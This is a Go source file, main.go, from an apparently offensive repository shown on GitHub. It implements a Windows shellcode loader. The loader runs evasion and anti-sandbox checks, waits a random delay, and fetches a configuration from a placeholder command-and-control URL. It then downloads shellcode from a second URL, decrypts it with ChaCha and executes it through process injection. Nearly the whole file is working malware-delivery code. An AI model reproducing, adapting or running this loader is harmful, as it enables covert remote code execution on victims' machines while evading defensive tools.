-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.go
More file actions
107 lines (91 loc) · 2.83 KB
/
main.go
File metadata and controls
107 lines (91 loc) · 2.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
//go:build windows
package main
import (
"codeload/internal/check"
"codeload/internal/evasion"
"codeload/internal/log"
"codeload/nopoe"
"math/rand"
"os"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
"github.com/gonutz/ide/w32"
)
var (
// This URL should point to a file containing the URL of the actual shellcode payload.
// In a real-world scenario, this should be encrypted.
configURL = "http://YOUR_C2_SERVER/config.txt"
)
func closeWindows(commandShow uintptr) {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}
// simpleWait performs a delay using a waitable timer.
func simpleWait(duration time.Duration) {
// We get procCreateWaitableTimer from injector.go's kernel32 var
timerHandle, _, _ := procCreateWaitableTimer.Call(0, 0, 0)
if timerHandle == 0 {
// Fallback to standard sleep if timer creation fails
time.Sleep(duration)
return
}
defer syscall.CloseHandle(syscall.Handle(timerHandle))
dueTime := -(duration.Nanoseconds() / 100)
procSetWaitableTimer.Call(timerHandle, uintptr(unsafe.Pointer(&dueTime)), 0, 0, 0, 0)
procWaitForSingleObject.Call(timerHandle, INFINITE)
}
func main() {
// closeWindows(w32.SW_HIDE) // Temporarily disabled for debugging
runtime.LockOSThread()
// Stage 1: Initial Delay & Benign Behavior Simulation
evasion.Blind()
check.RunSystemAudit()
rand.Seed(time.Now().UnixNano())
initialSleep := time.Duration(rand.Intn(5)+3) * time.Second
simpleWait(initialSleep)
// Stage 2: Anti-Sandbox Environment Checks
if !check.EnvironmentChecksPass() {
os.Exit(0)
}
// Stage 3: Fetch Remote Configuration and Payload
log.Info("Fetching config from %s", configURL)
configData, err := nopoe.DownloadShellcode(configURL)
if err != nil {
log.Error("Config download failed: %v", err)
os.Exit(1)
}
shellcodeURL := strings.TrimSpace(string(configData))
log.Debugf("Shellcode URL: %s", shellcodeURL)
sc, err := nopoe.DownloadShellcode(shellcodeURL)
if err != nil || len(sc) == 0 {
log.Error("Payload download failed")
os.Exit(1)
}
log.Success("Payload downloaded (%d bytes)", len(sc))
// Stage 4: Initialize Syscall Resolver, Decrypt, and Execute
if err := initResolver(); err != nil {
log.Error("Resolver init failed")
os.Exit(1)
}
log.Info("Decrypting payload...")
decoded, err := decryptChaCha(sc)
if err != nil {
log.Error("Decryption failed, using raw")
decoded = sc
} else {
log.Success("Decrypted (%d bytes)", len(decoded))
}
// The executePayload function now handles the entire advanced injection and execution process.
log.Info("Executing payload...")
executePayload(decoded)
// The program will now be kept alive by the infinite loop inside executePayload,
// waiting for the APC to be processed.
}